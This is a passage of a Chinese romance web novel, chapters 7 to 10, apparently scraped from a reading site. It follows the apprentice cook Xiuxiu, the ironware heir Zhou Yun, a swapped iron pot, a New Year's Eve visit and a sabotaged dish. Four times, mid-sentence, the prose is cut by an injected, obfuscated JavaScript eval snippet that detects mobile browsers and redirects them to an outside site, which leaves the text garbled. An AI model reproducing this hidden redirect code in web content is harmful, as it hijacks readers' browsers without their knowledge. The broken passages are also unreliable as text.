“好一招‘飞过海’，见钱眼开的狗东西！”掌柜朝伙计啐一口，又转头对周允欠身，“少东家，当初这小子是我领进门，今日之事，老夫已无颜面待在铺子，恳请少东家另请高明！” 众人朝周允看去，他开口唤：“文珠。” 叶文珠被点了卯，上前扶起掌柜说道：“郭老在铺子做了十数年的掌柜，且不说生意越来越红火，就单说这些年从未有过差池，也该称您一句锅铺的贵人，如今小人犯错，踢出去便是，与您又有何干系？依我看，您若离开，那就是明摆着要让锅铺把贵人请出去，这不是正中了蒋氏的计？！” 叶文珠说罢，又看向周允，只见他冷冽如刀，敷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632990|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍道：“文珠说得有理，这回罢了，日后再犯，就不是这么简单了。” 掌柜哽咽着连忙道谢，又上前对着众人言辞振振：“今日我郭某在此言明，周氏锅铺向来行得正、做得直，瞧不上蒋氏下三滥的路子，更行不出作奸犯科之事，周氏锅铺，历来清清白白，为大家伙做绝不掺假的好锅！” 言罢，满堂喝彩，随着周允、叶文珠进了铺子，众人也就散开了。 绝不掺假的好锅？秀秀存疑。 她重新拎起锅来，走进了铺子，忙拦住掌柜：“掌柜的，方才您说周氏锅铺的锅绝不掺假，可您看我这锅，今儿个才用，就这般模样了。”说着秀秀便把锅底的凹陷指给郭掌柜看。 叶文珠回身，眼里一喜，小跑过来：“钊姐姐！” 秀秀莞尔一笑，瞟了一眼不远处的高大身影，便和叶文珠解释起来：“今日师父把锅交给我，我正开锅，锅底就变形了，这才来铺子问问。” 叶文珠眉间一蹙，狐疑道：“表哥铸的锅，不应该啊。”说罢，便扭身又喊道，“表哥，你快来看看！” 周允闻声回头，走到几人面前，掌柜的核验一番，锅柄上明晃晃烙着周氏锅铺的印，便对秀秀说：“姑娘，这锅我们暂且收回，您再挑挑，我们给您换个新的？” 秀秀神色匆匆：“事发紧急，掌柜的，店里可有一模一样的铁锅？” 郭掌柜犯了难：“少东家铸的锅都是定制，现下铺子里还没有。” 周允端着锅看了几眼，问向掌柜：“这锅是谁卖给李厨头的？” 掌柜思索良久，手拍上脑门，往门外看去：“就是那小子！”方才狼狈痛哭的伙计已不见踪迹，掌柜咬牙忿忿，“这是想借金鼎轩，再坑铺子一顿呢！” “罢了。”周允又掀起眼帘看向秀秀，说道，“这锅不是我铸的。” 秀秀低声言语：“这么大的锅铺不能赖账吧...” 周允眼神清冷，冷笑一声。 叶文珠连忙解释：“不会的，钊姐姐，锅柄上烙着周家的印呢，当初李厨头买的是表哥铸的锅，银钱都给了，铺子也不会不管的。对吧，表哥？” 周允问：“急着用？” 秀秀点头，眉蹙春山，眼颦秋水，抬头看过去，直直望着他，凄楚动人，我见犹怜。 周允沉吟片刻，指挥一个伙计带人去冶铸坊取锅，那伙计磕磕巴巴说：“少东家，小的不会骑马。” 周允眉间稍显不耐，顿了顿，不咸不淡留下一句：“跟我来。”便大步跨向后院。 秀秀朝掌柜和叶文珠微微颔首，小跑跟上，见周允已牵上马，正疑惑，便又见他利落翻身上马，秀秀愣在原地，听见他的声音：“过来。” 待秀秀走近，他在马上伸下一只手来。 秀秀不解，抬眼看去，他冷漠睨着，语气平平：“手给我。” 骨节分明的手在她面前摊开，手指修长又白净，可手掌却是一片茧子，仅看两眼，秀秀抿了抿嘴，不再动作。 周允面露不耐，兀自俯身向前，用力一拉，身子侧倾着就把秀秀捞上马背，强行帮她调整好坐姿。 秀秀惊呼，转而呵斥：“登徒子！” “放我下去！”秀秀皱眉喊道，下一秒，头顶被盖上一顶纱帽，面纱垂下来，眼前迷蒙一片，她当即凝了声。 身后之人一言不发，兀自将她环住，秀秀一下子跌靠进臂弯里，马便嘚嘚跑起来了。 8. 第 8 章 正值午后，街上行人稀疏，一路无言，唯有零碎马蹄声，阵阵风声和轻浅呼吸声。 眼前面纱被冷风吹得四处飘零，时而贴上脸颊，时而又扬向身后，秀秀身子僵直，尚未从第一次骑马的体验中回过神来，她不敢卸力，生怕瞬息未察就再次撞上身后的胸膛。 一路上行人愈发零星，屋舍愈发稀疏，秀秀恍然心头一紧，她声若细蚊：“这是去冶铸坊的路？” 周允在呼啸的风中反问：“什么？” 秀秀扭过头去，未等她开口，一声“嘶”从身后传来，她察觉到周允身子一晃。 “别乱动！”他语气烦躁。 秀秀不解，再次扭头。这回却不是“嘶”，而是一声“啧”，更短促，更不耐烦。 于是，她的帽子被摘了，然后又被扔进她怀里。 她一把抓住帽子，微微偏头，抬高声调问：“怎么瞧着越走越偏了，这是去冶铸坊的路？” 她没得到回答。 心神暂怠，秀秀正欲再次开口询问，可伴随着一声“驾”，她整个人如叶子般向后仰去，一股滚烫热意席卷全身，从额头烧到耳根脖颈，她又直起身来。 紧跟着，清冽的风带着磁沉嗓音掠过秀秀耳畔，他说：“不是。” 秀秀身子倏然收紧，当即拧起眉毛回过头去，眼睛瞪得溜圆，挣扎着要他停下来。 周允把人撸紧，斥一句：“不要命了！” 秀秀憋着气，磨牙嚯嚯，转而想到，她现在是钊虹义女，钊周两家交好，周允又是李聿的弈友，自然不能对她做什么，便慢慢稳下心神，抬眼往不远处看去，数个烟囱吐着烟，冶铸坊就要到了，于是她也知道了，这周允绝非正人君子！ 毋论冶铸坊乍然出现女子，亦或是少坊主身边出现女子，俱足以让众人愕然。 凡路过的工匠都要多看几眼，此时秀秀不禁庆幸，多亏了这顶帽子，但转念一想，若不是他家铺子出了差错，她又何故跑这一趟，受此窘迫？ 秀秀正腹谤，转眼间走到小棚屋，绕过各色铸锅的家伙事儿后，二人来到一间房前。 周允开门而入，等秀秀跟上，便开口道：“挑吧。” 入眼的架子上，有足足三层，整齐摆着铁锅。秀秀端起眼前的一口锅仔细观摩一番，确实要比之前的锅更为精细轻巧。 她在手里颠了几下。 周允在一旁说道：“这是前几日的新锅，冷处理是我师父做的，他的手艺要胜过我。” 秀秀点头，说：“就是它了。” 周允当即转身，幽幽开口：“走了。” 从下马，到进房，再到挑锅，秀秀估摸不过一刻钟。 速战有速战的好，尽快回去，尽快离此人远点！ 秀秀自然不会说出“自己回去”这类胡话，但方才被人捞上马的场景仍历历在目，于是脚上便不由自主慢下来。 沉香色织锦道袍渐行渐远，大步流星已至马前，“诶！”秀秀盯着袍子一角喊道。 周允转身抱臂，面色不善。 她磨蹭到马下，声音轻飘：“有没有...上马的凳子？” 周允目光在她脸上一睃，转而瞧上她的辫子，迟迟疑疑的，憨气逼人。 促狭心起，他但笑不语，静静站着。 良久无声，秀秀又问一遍。 他语气倒是淡定得很：“钊掌柜的义女，向来如此称呼兄长？” 秀秀一时凝噎，隔着面纱直勾勾盯着他，最后拗着脖颈说道：“不然哥哥，有没有上马的凳子？” “哥哥”二字，听起来像是咬着牙说出来的，格外沉重，格外愤愤。 周允懒洋洋一句：“没有。”接着他再次翻身上马，又伸出一只手来。 秀秀去踩马镫，索性搭上他的手臂，只听头顶传来一声微不可察的轻叹：“锅给我。” 她落脚抬手，把锅递过去，不多时便再次被捞上马。 秀秀觉出来了，此人是故意的。老奸巨猾。 忍无可忍，她在马背上侧头问他：“你究竟懂不懂男女授受不亲？周坊主的公子，向来如此对待外家妹妹？！” 帽檐又一次撞到他的下巴。 周允一手攥住缰绳，一手把她肩膀摆正，轻轻哼笑一声：“在我这里，女子和男子毫无二致，男子同牲畜也半斤八两，皆是两只眼睛一张嘴，我不过拉你上马，授受不亲？无稽之谈。” 秀秀声音清脆，也含着一点愤怒，她问：“既如此，伦理纲常入不了你的眼，你又凭何而谈辈分礼数，来摆这个兄长的谱？” 周允猛然策马，秀秀一时失神，再次跌进身后的怀里，只听他淡淡道：“就凭这个。” 秀秀嘟囔：“我就知道，那日在李府，你是装的。” 周允垂眼：“五十步笑百步。” 气氛一时诡谲，秀秀如芒在背，老老实实绷直身子坐着。 其实她也不全是装的，她并非乖巧懂事之人，可心意起码是真的。 只是有些时候，无可奈何。她是一个没有资格拒绝的人。 秀秀装作听不懂，面色如常，安静待在马上，却是心如擂鼓。 反观身后之人，泰然自若，从容按辔，方才的话对他如秋风过耳。 马往城中跑，秀秀一派恬静，再无方才牙尖嘴利的模样。她不开口，周允也是惯常的冷淡，不显山不露水，二人一路静默。 把人堵得哑口无言，周允不甚在意。他连自己的人生都不在意，还管他人是真是假作何？麻烦。 只不过，他察觉到，怀中之人，萎靡了。 寒冬腊月，黄昏来得早，这时路上行人渐渐多了起来，周允到一偏僻处收辔勒马：“就到这儿。” 待秀秀下马，他把锅从马背上拆下来，递给她。 随后，骏马轻蹄，衣袂飘飘，周允又策马奔进夕阳里。 秀秀踩着马蹄后尘回到金鼎轩，重新开锅，李三一询问：“下午为何告假？” 她心思在锅上，正盯着锅底仔细打量，闻言便放下锅来回答：“今儿个下午，周氏锅铺差人来，说是锅被伙计掉包了，唤我过去再挑一口，偏偏少坊主做的锅都在冶坊，现又差人去取，这才耽误了些时候。” 李三一：“莫不是那蒋氏搞的鬼？” 秀秀：“您也听说了？” 李三一：“城中都传开了，今日下午，蒋登去周家铺子好一番闹，可周四海也不是个善茬，最后把人撵走不说，蒋家名声算是臭了。” 秀秀不懂生意场上的明争暗斗，却也知道偷逃税款不容小觑，不禁暗自感叹蒋氏之阴险，又发觉这广阔皇城看似风光无限，有多少玄机败絮也未可知，不论在李府还是在外头，行事谨慎仔细些总归没有坏处，而这个周允，她更该减少来往交集。 晚饭后，李三一给秀秀放了节日假：“明日除夕，依照学堂规范，是该放到十五，你便随着寅生歇息吧。刀工火候不能落下，每日都该进厨房练手才是，十六再来，我一一检查。” 秀秀很是欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632991|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣，尽管她并不打算真的休到上元节，但还是连忙道谢，可等回到李府才想起，不学艺不干活，这些天她该做什么呢？ 夜间，书房烛光明亮，果不其然，李聿提出要教授“周允”二字。 秀秀目光流转，微笑说道：“今日师父赠与我一铁锅，过年这些时日，我琢磨着学些菜谱，不如便从菜谱上的字开始教我？也正用得上呢。” 李聿也觉得不无道理，便把“周允”抛之脑后，教着秀秀认了些菜名儿，提笔之间，他随意问起：“姐姐，祖父允了你几日节假？” 秀秀笑了笑答：“说起来沾了你的光，师父让我随着书院开工，明日就能歇息了。” 李聿一听这话，兴致勃勃道：“这下可好了，好姐姐，明日你可愿帮我一忙？” 秀秀奇怪地看李聿一眼，道：“寅生何时与我这般疏远了？我这做姐姐的若是能帮上忙，还能拒绝你不成？” 李聿咧嘴一笑：“明日是不然兄的生辰，我又恰巧在家，哪有不去的道理......” 说罢李聿垂头，伸手挠了挠。 秀秀手上一停，睇他一眼，把话说得明白：“你想去周府下棋，又怕李先生不准你去？” 李聿搁下笔来，耷肩伏腰：“好姐姐，就帮我这一回吧，四月就要考试，过了年，我可别想再碰棋子儿了！” 秀秀问：“你同李先生讲清楚，考试前最后一回去周府，他还能不准你么？” 李聿垂头丧气，一声不吭。 秀秀见他这副模样，暗自觉得好笑，便问：“我又能帮你做甚？” 李聿眸光一亮，将自己的计划一一道来：“前些时日我听闻文珠要在周府过年，你们既相识，那带上弟弟去上门拜访，姊妹间说说闲话也不过分，是不是？” 他眼里带着光看过来，秀秀闷头一笑：“文珠？你何时与人家这般亲近了？究竟是想去下棋，还是想见文珠？” “好姐姐，莫再打趣我了！”李聿俊脸泛红，又问，“你只管说答不答应罢？” 秀秀咬唇片刻，道：“你教了我这些天的字，我哪有不应的道理？明日我试上一试，就当你教我写字的回礼罢！不过丑话我可说在前头，成败难料，你莫抱太大希望。” 李聿朗声一笑：“谋事在人，成事在天嘛！” 秀秀跟着笑，看起来，那明晃晃的笑容里不掺一点儿假。 她又问：“既是兄长生辰，贺礼可备好了？” 李聿扯了扯嘴角：“不然兄从不过生辰，早些时候我送过生礼，他不收。” 秀秀疑惑：“为何？” 李聿开口解释：“此事我只与你一人说道，你切莫在他人面前提起。” 秀秀疑惑更甚，李聿继续说：“据说童子煞不能过生辰。” 秀秀问：“他是童子命？” 李聿又挠挠头，答：“其实我也摸不准，但他已弱冠之年，身边却是连个丫鬟都没有呢，除了文珠，我也从未见过他与旁的女子说话，外头都说不能过生辰，也不能娶妻生子。” 言毕，李聿又补充道：“这些不过是嚼舌根的胡言乱语，你就当听个笑话罢！不然兄虽常常冷着脸，可心地却是好得很，否则我爹我娘也不会任由我跟他下棋。我娘还给周家介绍不少生意呢！” 秀秀心道，心地好么，她怎么觉得此人蔫儿坏？ 李聿接着说：“秀秀姐姐，今日这话你可万万不能讲出去。” 秀秀点头：“今日这话，我什么也没听见。” 9. 第 9 章 除夕这日，钊虹一清早便带着黄鹂来了锦心园。 “前些日子给你做的净是些方便下厨的利索衣裳，过节哪能穿呢，我便又差人给你做了几套漂亮的，紧赶慢赶，总算在年前儿送来了。” 钊虹喜气洋洋说道，指使黄鹂把衣服抱来，又朝秀秀说：“你平日忙，我便照着自个儿眼光给你挑了些花色，快来看看喜不喜欢。” 秀秀一时无以言表，自从亲娘去世，她的衣裳都是在过年时留出些布料来自己做，缝缝补补一穿就是好些年。后来去了胡家，便穿胡家姊妹们倒下来旧衣裳，唯一一身新衣裳，便是那身婚服，只是她还没穿过，便逃了出来。 杏眼沁珠，秀秀霎时红了眼，连忙答应着。 钊虹：“快去试试合不合身！” 秀秀从中挑了一套，蜜合色棉袄罩一件水红牡丹缎地比甲，下系葱黄色马面裙，娉婷袅袅，衬得桃腮粉靥，自己也十分满意。 钊虹绕着看了一圈，又唤翠鸾红莺来给秀秀梳头，说着把自己脑后那根赤金点翠簪取下，放进秀秀手里。 秀秀一时无措：“衣裳已经够贵重，我怎好再收这般金贵的簪子？” 钊虹笑吟吟道：“拿着吧，姑娘家家，没有首饰可不行。待年后，我再托珠翠铺子给你打一套。” 秀秀只好道谢，待头发梳完，发簪一插，一张桃花面不施粉黛却也明艳动人。 钊虹看着满意至极：“这才是个小姐样儿。” 钊虹心情好，娘俩儿挽着去了前院，秀秀提起这几日认识了一个小姊妹。 钊虹眼里带着兴味，问道：“哪家的？” 秀秀如实回答：“周氏锅铺的账房，叶文珠。” 钊虹思索片刻，笑道：“也是朵伶俐迎春花。” 秀秀抿嘴一笑：“听闻今年她在周府过年，今儿个除夕，好不容易得假，我又得了这样好的衣裳，便想着去周府走动走动。” 钊虹应着：“小马车正闲着，你去便是。” 秀秀犹犹豫豫开口：“带上寅生如何？” 钊虹的视线锐利射过来，刺得秀秀心里发毛，接着钊虹便笑了：“寅生让你来的？” 秀秀低眉顺眼，默不作声。 钊虹：“去吧！” 秀秀脸上一喜：“李先生那边......” 钊虹：“我答应的事儿，何时有他说话的份儿了？” 这时，李聿不知从哪突然冒出来，兴冲冲拉着秀秀去了周府，等见到来兴，却发现扑了个空。 来兴：“李公子，少爷嘱咐过了，去去便回，棋盘已经摆上了。” 昨日周允收到李聿的口信，但还是照旧在一大早去了周家龛堂，给众牌位上了今日头香。 香烟袅袅，长明灯摇曳，映得最前面的三个牌位忽明忽暗，直至线香燃至一半，龛堂终于有了动静。 周四海过来了。 周允起身离开，约莫一盏茶的时间，周四海又从龛堂出来。这时，周允的耳朵已经冻得很红，父子俩难得并行。 周四海率先开口：“今日我外出，你切记吃掉红寿。” 周允不甚在意：“吃了就能长命百岁么？” 周四海再次开口：“你娘千叮万嘱，莫再叫她担心，总归是为你好。” 周允缄默不语，待他风尘仆仆回到息心园时，李聿已经在棋盘前候着了。 棋盘上二人纵横捭阖、九天揽月，弹指一挥间，已是午初时分。 这回李聿占了上风，情绪高涨，辞别道下午再战。周允难得留人用饭，李聿支支吾吾：“我与秀秀姐姐并未会见周大伯，说来实在不合礼数。” 周允一顿，门外来兴禀报：“少爷，小姐派人过来传话，要留钊姑娘用饭。” 周允朝李聿道：“无碍。” 于是二人一并来到前院，叶文珠正和秀秀谈笑，互相问好后便一同落座，布菜小厮弓腰端着食案走到到周允跟前，言语间迟疑不决：“少爷，这是今年的红寿。” 周允“嗯”一声，小厮当即松缓下来，连忙端下一瓷盅，放到了周允面前。 众人看向瓷盅，他按兵不动，淡淡开口：“开席罢。” 叶文珠热情似火，拿起膳著给秀秀夹了一片水晶肴肉：“钊姐姐，尝尝这个。” 秀秀接过道谢，姊妹俩往来之间，情同手足。 李聿见状打趣：“看起来我这个弟弟倒像外人了。” 叶文珠一扬眉毛：“今日才得知，我竟与钊姐姐这般对脾气，若钊姐姐真是我的亲姐姐，我定要上两炷香谢谢菩萨。” 秀秀笑道：“你我皆在皇京，相见一面还不容易么？和亲姊妹又有何区别？” 周允眉峰一挑，默不作声，却不料叶文珠语出惊人：“是呢，皇京虽说大，可也不大，消息倒是传得飞快。” 叶文珠说完捂嘴一笑：“昨日姨丈还问我，表哥带去冶铸坊的女子是哪家的，我说姨丈真是千里眼顺风耳，下午事儿晚上就知道了。” 此话一出，其余三人皆是一愣，只剩叶文珠不明所以：“你们这是怎么了？” 周允轻咳一声，道：“文珠，食不言。” 叶文珠一歪头：“表哥何时在意这些了？” 李聿笑着开口：“文珠姑娘真真是烂漫可爱！” 叶文珠当即羞红了脸，两个酒窝顿时无影无踪，只顾小口吃饭。 秀秀浅笑，朝李聿看去，只见他这才发觉失言，也低下了头，端起茶盏连饮两口。 眸光流转，碧青色瓷盅盖子被宛如竹节的手指掀起，盅内是一枚被染成荔色的鸡蛋。 腕骨清峻，青脉隐现，轻叩盅沿儿，蛋壳应声开裂，恰似瓷盅上的冰裂纹。 他徐徐剥落，红壳褪落，些许热气绕着指尖缠绵未尽，红屑零星沾在指腹，轻捻几下，顿时，手上干干净净。 秀秀随之抬头一瞧，手的主人正目不转睛看过来，她眨了眨眼；对面的人索性把鸡蛋举到眼前，直直盯着瞧，秀秀垂眼错开了视线。 宴席之间，言语全消，男男女女，各有各的七窍玲珑。 宴毕，秀秀随叶文珠回到内宅园子歇晌，可在金鼎轩哪有歇晌一说，如今硬生生歇下反倒不习惯，于是她只得在客房等着耗着。 午后天上缓缓飘起细雪，秀秀透过琉璃窗看漫天纷飞的雪光，自言自语道：“瑞雪兆丰年，明年庄稼收成准不赖。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632992|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>言罢，暖炉里煨着的栗子爆开一颗，声响格外清晰，惊得她回头去看。 秀秀娘还在的时候，总要在秋收时节存下些栗子，湿沙和栗子分层放进地沟里，覆上一层干草再埋上沙土，最后在土堆上插一束秸秆，秋天的栗子便能越冬。 但娘总在过年的时候就从地里刨出来，家里的做法是蒸煮，和皇京的烘炒不一样，蒸煮过后的栗子绵密甘甜，水分更多，弟弟还小，不能吃，所以一笼屉的栗子，有大半都进了她嘴里。 想到这儿，秀秀悄悄出了门。 降雪的午后，没有寒风，甚至带着轻微暖意，雪花瘦且薄，落到身上转瞬化开，她在不知不觉中走到了周府的花园。 花园里冷清至极，一切喧嚣被新雪吞噬，目光所及，皆掩上薄如蝉翼的白，唯有几棵松柏傲然挺立。 秀秀踩雪行至树旁，拾了几个松果，便捧着到亭子里坐下。 片刻，隔壁院墙里传来两句交谈：“少爷，当心着凉，回屋歇着罢。” 周允语气平常，不徐不疾：“你回去罢。” 话音落下，刹那，万籁俱寂。 枯寂深邃的花园里，黄裙红衣的少女在亭下坐着，不惧风霜落雪，随意闲适，不急不躁，正颔首剥着松子，一颗一颗从松果里扣出来，手被硌疼没关系，手被染脏也没关系，剥出来没法吃也没关系。 一刻钟后，她终于抬起头来。 在不远处的游廊里，周允正静站着，凝立不动，玉树临风，眼底沉静如水，似出神，似凝视。 被人回望，他索性冒着风雪走来。 安宁被不速之客打破，此刻的寂静令人毛骨悚然。 秀秀咬上嘴唇，走也不是，留也不是，索性朝他喊道：“寅生在何处？” 周允走到亭下，一言不发，直直看着她。 秀秀眉头微皱，起身欲离开。 周允坦然坐下，缓缓开口：“不过一盘棋便已倦得睁不开眼，在园子歇下了。” 她脚上一顿，转瞬便径直走进冰天雪地之中，行色匆匆，却又因路滑，不得不拎着裙摆，又急又慢地小心走着，手脚尽显慌乱，髻上步摇比雪花还晃。 周允的视线回落至石桌上的松子。六颗松果，干瘪的松子堆成小山，他拈起小小一粒，再次往远处看去。 片刻，他抬高音量，对着不远处风雪之中的黄裙说：“你的松子。” 雪落进脖颈，乍凉，黄裙站直身子停下，手上仍揪着裙摆，她头也不回地喊：“送你了！” 寅初二刻，雪停，太阳西偏，暮鸦归巢，李聿在睡着的懊悔中同秀秀离去。 周允回到园子，他双手垫在脑后，仰面躺在榻上闭目养神。屋里暖意融融，街上炮竹声此起彼伏，不知过了多久，来兴禀报：“少爷，老爷回来了。” 周允懒洋洋并未应答，他缓缓睁开眼，愣怔一息，坐了起来，径直走到书桌前。 桌上宣纸平铺，墨迹干涸，纸上之字风樯阵马。 走近一看，短短一句—— 黄裙逐雪，残粒冻指锁孤锋。 周允垂睫眄睐，他不痛不痒地挪开镇纸石，随意把纸掀起，不觉桌角一颗松子散落在地。 10. 第 10 章 过年时的皇京，比平日更热闹几分。一大早，洗银胡同对面，六抬食盒源源不断抬进高门大户，包裹礼盘的红绸映得蜷在风口的小贩都面色红润。 忽然一阵马蹄踏碎街市繁华声响，两匹高头大马开道，百姓们慌忙避让，卖灶饭的小贩急着后退，一碗灶饭摔落在地，饭上插着的纸折金元宝当即被压瘪。 小贩弯腰拾饭，因着经年冻伤，手上裂出一道口子正往外渗血丝，一不留神，风把金纸吹到青呢车帘上，轿子里的老爷贵妇浑然不觉，金纸已经又飘进西北风里。 秀秀拾起墙角的金纸，盯着卖灶饭的小贩看了又看，最后过去买了一碗灶饭。小贩嘴角咧到耳朵，点头哈腰说：“贵人您新年吉祥嘞！” 秀秀扯扯嘴角，端着灶饭往李府大门里走。霎时身后一声冷风吹过，她回头，看见熟悉的墨狐裘和他绯色长袍的一角，正疾驰奔往城西。 她不逗留，进了李府前堂，陪着钊虹应酬一日，再从前堂出来时，日头已西沉，府邸门前亮起灯笼，院里仆从往来穿梭，钊虹回了后院歇息，她换了衣裳，走进厨房。 厨房里蒸汽朦胧，两个婆子正往笼屉里码年糕，小丫鬟蹲在灶口添柴，其他各自忙活着。 见秀秀进来，众人道一句“姑娘”，张婆子道：“姑娘，年夜饭您跟着大家伙好一番忙活，今儿个又陪夫人招待了一天客人，快去歇息吧。” 秀秀走到水池边净手，道：“不过是陪着吃饭，可比平日清闲多了，在厨房帮忙，也能跟着大家学到好多呢！” 另一个婆子笑说：“姑娘勤快又好学，照我看，用不了多久，咱们皇京就要有名号响当当的厨娘了。” 秀秀边打荷边回话：“如今连锅都没端过几次，离做菜还早哩。待我真做了厨师，咱们厨房的大娘姊妹们，可都有功劳。” 众人说说笑笑，窗外响起炮竹声，震得屋檐冰锥往下砸，噼里啪啦，一时间气氛融洽。 这会儿，王婆子却突然压低声音：“你们可听说了？周家锅铺那位煞星，今儿个清早，又出事了！” 秀秀正切菜，听见这话手上一顿，一片藕被切坏，她随意丢到案板的一旁，继续切。 张婆子神神道道地问：“莫不是......又克着人了？” 王婆子靠过去，放低声音：“听说打小跟着他的那小厮，今早好端端地突然呕绿汁儿！郎中都说预备后事喽，偏偏这少东家不信邪，一清早纵马闯出城去——” 话音未落，外头炮竹声乍响，王婆子一激灵，张婆子接过话茬：“去云雾寺找那和尚去了？昨儿刚下雪，那盘山道可不得都是冰凌子啊？” 小丫鬟怯生生问婆子：“那......来兴哥让和尚给救活了？” 王婆子继续说：“方才有卖柴的瞧得真真儿！周家少爷驮人下山时，狐裘大氅上都结冰碴了，可邪门的是，来兴脸色红扑扑，倒比病前看着还精神！” 小丫鬟暗自松了口气，另一个婆子开口：“这年头，哪儿还有把下人当人看的主子呢？该说不说，周家少东家倒真是个体面人儿！” 王婆子轻哼：“指不准就是他克的呢，你们说是不是？” 小丫鬟没吭声，把剥好的蒜米洗净，放到案板前。 “秀秀姑娘。”小丫鬟小声道，见秀秀没动静，又喊一遍，“秀秀姑娘？” 秀秀回过神来，小丫鬟看了眼案板上一小摞切坏的藕片，小声说：“我来切吧，外头天暗了，屋里光线不好。” 秀秀脸上一热，把菜刀交出去，往灶膛瞥一眼，火势高涨，她走到王婆子跟前。 王婆子正低声说得起劲，秀秀拍拍她的肩膀，婆子猛地回头，秀秀弯起眼，笑眯眯说：“大娘，方才光顾着说闲话差点儿忘了，咱们是不是该掀锅了？” 王婆子一拍大腿：“哎哟！”掀开锅盖，婆子心有余悸，“多亏姑娘记性好，这年糕真是差点坨了！” 待婆子端下笼屉时，秀秀已经出了厨房。 晚饭桌上，菜品琳琅，她独独盯着碗里的一小块年糕愣了神。 “新年吃糕，步步高升”，钊虹的声音响起来。 秀秀跟着大家吃糕，夹进嘴里，黄糕面柔软细密，蜜枣甜得发腻，她忽然想起，小弟弟最爱吃枣，却每回都要把最大的枣往她手里塞，那么小的人儿，踉踉跄跄跑到她跟前，小手一伸：“给姐姐的。” 小的一伸手，大的便过来抢，一抢不要紧，小的接着就哭，大的便又还回来：“我不抢姐的！逗你玩儿呢！” 虽说娘走了，爹也不是个正经爹，可姐弟之间却未曾有过隔阂。只是如今哥俩却还不知是死是活…… 饭后，锦心园已经掌灯，屋里隐隐透出光来，秀秀推门而进，凭窗坐下，拿起绣棚，闲闲拨弄手绢上的线，绣面上有个“虫”字，歪歪扭扭。 翠鸾端着脚盆进来，走到窗下，说：“姑娘，时候不早了，该洗脚了。” 秀秀木愣愣坐好洗脚，时不时撩水搓一搓，翠鸾悄么声儿问：“姑娘可有心事？” 秀秀甩甩手，直起身来摇头：“没事儿。” 洗完脚又坐到铜镜前通发，头发理了百八十遍，翠鸾轻喊：“姑娘。”这才把人从镜子里叫醒。 翠鸾退下，没走两步被秀秀叫住，“姑娘可还有吩咐？” 秀秀欲言又止，抿了抿唇，倚在床头没说话。打听兄弟的下落，这事儿不该声张。 待她躺回床上，已是二更天。 春节便这样悄无声息地溜走了，全城迎来了贤达六年。 此后几日，钊虹有意把秀秀介绍给各商户认识，每日无外乎拜访待客，直至初六，李府总算恢复了宁静。 而距离李府两条街的周府，却在接到一张神秘牌票后席不暇暖。 周家骤然忙碌了起来，周氏父子每日早出晚归，没人知道他们在干什么，除了皇京的几个铁矿石老板。 这日，秀秀回到金鼎轩，正专注跟四勺学习如何调味，从盐糖比例，到投放香料的时间，四勺知无不言。 突然，前堂管事的匆忙掀帘而入，声音都有些变调：“四勺，不好了！铁矿的钱老板闹起来了，说咱们的佛跳墙咸得发苦，指明找厨师要个说法！” 四勺脸色唰地一下白了，手里的汤勺差点掉下：“这菜我做过无数遍，怎么会咸？” 秀秀知道这菜以前是师父掌勺，后来交给四勺师兄，招牌菜若出了纰漏，责任重大。只听管事的忙道：“快随我来！” 四勺强装镇定，秀秀心下担忧，便跟着师兄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632993|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块出了后厨。 来到雅间，只见主位一男子，约莫四十岁，面沉如水。而旁边作陪的，正是周允，他神色平静，端起茶盏呷一口，一言不发。 这时，主位男子朝着桌上的佛跳墙一指，怒道：“这就是金鼎轩的水平？” 管事的腆着脸上前解释：“钱老板您息怒，主厨已经给您请来了，这就让他给您道个歉，佛跳墙做起来麻烦，您若是不着急，便再给您上份新的，您若是着急，待下次，金鼎轩赠您一份，如何？” 钱正面色极冷，道：“今日之事不解决，你还想有下次？” 四勺作揖上前，舀起一勺高汤，在鼻下嗅了嗅，又倒进个干净瓷碗尝了尝，道：“这咸味分布不均，入口极咸，而底下汤汁味道却正合适，若是失手放多了盐，理应味道一体，这分明有人陷害！” 